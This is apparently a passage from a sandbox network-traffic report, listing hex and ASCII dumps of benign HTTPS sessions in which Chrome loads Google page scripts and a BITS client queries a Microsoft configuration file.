gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 34 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700304,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 Data Ascii: 1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 74 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c Data Ascii: )[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:te.hasOwnProperty(d)?a.setAttribute(te[d],c):_.oe(d,\
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 41 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 42 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 3a 6e 75 6c 6c 7d 3b 5f 2e 43 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f Data Ascii: n/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.Ae\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.Be\u003dfunction(a){return a\u0026\u0026a.parentNode?a.parentNode.removeChild(a):null};_.Ce\u003dfunctio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49713	142.250.186.100	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:46 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-08 14:20:46 UTC	957	IN	HTTP/1.1 200 OK Version: 691321546 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 08 Nov 2024 14:20:46 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-08 14:20:46 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-08 14:20:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49720	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:50 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-08 14:20:50 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=8643 Date: Fri, 08 Nov 2024 14:20:50 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49721	172.217.23.110	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:50 UTC	737	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-08 14:20:50 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 04 Nov 2024 00:14:04 GMT Expires: Tue, 04 Nov 2025 00:14:04 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 396406 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-08 14:20:50 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 